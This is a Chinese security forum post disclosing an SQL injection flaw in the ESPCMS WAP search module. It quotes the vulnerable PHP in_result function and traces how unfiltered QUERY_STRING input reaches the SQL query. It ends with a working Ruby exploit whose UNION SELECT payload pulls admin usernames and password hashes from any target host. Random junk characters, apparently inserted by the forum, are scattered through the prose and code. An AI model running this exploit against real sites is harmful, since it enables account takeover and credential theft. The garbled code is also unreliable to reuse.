找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2386|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节3 z1 C# a6 |2 q4 D; ^! ^9 _
0×2 PoC$ y; x5 y& @5 h" S' ?

2 G. ]8 R9 i4 i5 c& h9 S# G9 d2 f8 A' [0 C9 }1 {' t
  J. X6 Y- Z% [9 S* g
0×0 漏洞概述/ q3 p6 \1 ~/ p, o4 ~6 W' x( e

' l0 p) L( P/ T5 u! {5 s" @; I! X易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。9 E5 O+ _/ V; b: E" g" _
其在处理传入的参数时考虑不严谨导致SQL注入发生
6 ?$ G7 S" p9 A  ?, i' G! j8 H+ ~, X! r4 b( P% I/ S

9 i9 D' ~# \) j4 C, W  P4 t7 V0×1 漏洞细节
; o8 I! @8 x( z# u  r% p% Z& w0 A7 |2 ^% E$ z$ @
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
% P7 k7 X0 u& W5 v1 R2 _8 o+ u正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。2 U' h' d7 `2 o: a
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
1 V" v  @6 ?5 t, A/ q4 X/ L
$ L( |% O' c& R. p, W2 r' B$ J在/interface/3gwap_search.php文件的in_result函数中:* N, j" K: Q1 I2 g
( ^8 i/ [6 q, ], Q$ M
& @7 o1 |9 _0 b; w% V' e
- e( `& t5 t/ t* P, x3 y
       function in_result() {2 `5 i9 M2 c% Q' w
            ... ... ... ... ... ... ... ... ...
1 \) v8 s( z- ]' `' p            $urlcode = $_SERVER[ 'QUERY_STRING '];
9 k# v6 }  I4 c) G0 z            parse_str(html_entity_decode($urlcode), $output);
# Q, H0 l% X' v3 J( L
, @) G/ N" }, F  A            ... ... ... ... ... ... ... ... ...
8 l, s" L$ u8 o3 t: L            if (is_array($output['attr' ]) && count($output['attr']) > 0) {2 Y" _4 @0 d) D% ~1 L8 ]# r

/ Z" r$ `. L; {                  $db_table = db_prefix . 'model_att';6 M# C/ j0 e. [

3 H# l3 w  ^3 d! z& x  J                   foreach ($output['attr' ] as $key => $value) {
) {8 S$ I% j2 D, H  R& z  v                         if ($value) {
  W. q. G0 G' W) l  W7 j7 o! |2 d+ t; q( b1 ^+ Z) A* s2 `
                              $key = addslashes($key);, t/ n! {0 U  h3 m2 Z1 I9 N4 S
                              $key = $this-> fun->inputcodetrim($key);
) f# @# t  W+ B7 ?* x                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
6 l& N& \' z& N2 v7 B, W1 Y" g                              $countnum = $this->db_numrows($db_table, $db_att_where);
3 k  T; U" n2 {$ k2 W* `* i. l/ V                               if ($countnum > 0) {
; [  F/ t2 H; g* k/ Z8 b6 o6 W                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;0 C  x/ W8 L4 ?' n! F0 ^
                              }
+ {2 k, w3 Y* j  E                        }$ V. _. L- z  G2 \; F: R) _4 }' U
                  }$ j0 {9 i  k( r1 c' T  e
            }
+ ~! K% ]* X" P+ e) O            if (!empty ($keyword) && empty($keyname)) {
" t1 M) }) G+ ~0 D& V' C' E* m                  $keyname = 'title';
$ }' T* Y; S9 }5 C0 Q  R, c                  $db_where.= " AND a.title like '%$keyword%'" ;
+ v( C6 Q7 I6 s8 H            } elseif (!empty ($keyword) && !empty($keyname)) {
. E6 v3 o% Q7 B" o( c                  $db_where.= " AND $keyname like '% $keyword%'";
4 b# a0 G+ n: B  n8 H            }
9 m" b. C% B  u0 t' N            $pagemax = 15;
1 f3 F! ?+ ]8 V7 z" d& r! `
: g: N% W  n% N1 m# n9 L$ y            $pagesylte = 1;
4 W" \# i9 _5 G7 t5 p) P% a3 W( c& ]  }
             if ($countnum > 0) {
8 |' Z" D* U; n; P8 c" d7 s+ ]3 q; n
                  $numpage = ceil($countnum / $pagemax);
% g9 X9 F3 N3 s) R& M- @' {            } else {+ }$ \, c5 Y% C7 Q
                  $numpage = 1;1 H3 @* e( ]8 ~5 {3 j% c1 [' c# M4 Y
            }
% d) b  C6 |2 G1 l& @6 _            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;& D* K. F7 i: y
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);- u! q2 X* W9 l& P$ m
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);0 v& n: K, G* i/ g6 k  j% {
            ... ... ... ... ... ... ... ... ...
' D6 h; p5 A3 ?1 Z: \  e      }+ s7 A9 Y# x# I

& z6 G& l/ [! T. r
" d( H- H+ M) c  w0×2 PoC* G4 x' E  a3 Q9 ]/ n: U

# x$ i2 u  b) @( t5 Z( Y2 n& G6 h
+ _( P' J; a. A; ~# S; _% F
+ N! J" T# U  s7 X/ Urequire "net/http"
! d% f0 `8 c9 H. C3 ?( Q# [0 Q5 }/ @: \1 ]2 u, X
def request(method, url)
5 q6 Y6 _" W* J5 p6 U0 d. W6 I    if method.eql?("get")# b" R5 p+ E+ e5 Y' o: r2 V
        uri = URI.parse(url)- B* H1 Y! m, ?
        http = Net::HTTP.new(uri.host, uri.port)
" o" w8 T1 J  I  H" [1 ~5 ~1 l        response = http.request(Net::HTTP::Get.new(uri.request_uri))& R3 P: a7 ~3 W8 m" |# z/ w: X. J
        return response
5 B; l( Y" K  M* d/ O    end6 \: t5 k. p! `/ N
end
0 T" p! Y# z( A6 ]2 a' L( U; H1 Z7 {! }, w
doc =<<HERE
* c, ]: ?$ w0 M; X-------------------------------------------------------! K1 A- u: |) I* |
Espcms Injection Exploit
- l+ b) s: M" V: Q1 H5 bAuthor:ztz
1 v' b3 ?# M# p5 A9 Q3 C  R% yBlog:http://ztz.fuzzexp.org/. [& a8 e3 a( e6 K* e; E) k
-------------------------------------------------------
4 `. ^' c  ?: J+ p. e) e3 ]
9 P( `8 C+ ~! v* L6 K: y2 a6 LHERE
1 P0 i! n" G, {' n6 x* i% K- }
8 r( ~8 I2 E; e. H0 w' xusage =<<HERE
0 G+ F; r+ x" b' [+ Z! Y* G! Q1 ZUsage:         ruby #{$0} host port path& @; D$ M, Q- ~# J* s/ D1 v
example:     ruby #{$0} www.target.com 80 /- I& V4 y& |, }; @& x( f
HERE& i8 |% i2 R2 ]* J
: H$ ^# }" v2 ^  G9 f
puts doc0 E" }) j. m" P7 e& s
if ARGV.length < 33 n8 Z) |* K4 G( J0 {9 ^9 |
    puts usage0 ]+ \* R9 M: O& u) Q' C! R8 L
else7 {+ K% K8 {7 U& ~
    $host = ARGV[0]& u) G6 a! l# K, s  g- W/ D6 n
    $port = ARGV[1]
, J& I8 O" {. F% t    $path = ARGV[2]% t! \" k/ }1 `& f# I. t

" r) o# a* f; E& I/ _9 i1 [6 T" Z    puts "
  • send request..."6 O' `/ b& T. X. r
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    " @+ ~6 h% @+ h* I+ rattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13. n8 M5 b5 [/ v4 A- v
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,279 C9 q. E2 o7 W2 r7 z2 r, ^
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
    4 A! \  g( ]1 C    response = request("get", url)
    : p# B" i- a1 T! ~    result = response.body.scan(/\w+&\w{32}/)
    ! O' _. a5 g( [- J3 R4 S  R2 `. ^; r1 i. r    puts result
    # @% P8 Z3 Z7 x+ ]/ Jend& {6 q. P! G8 d; m" H
    0 Q7 ]7 o* V* V8 V. |- `7 @
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表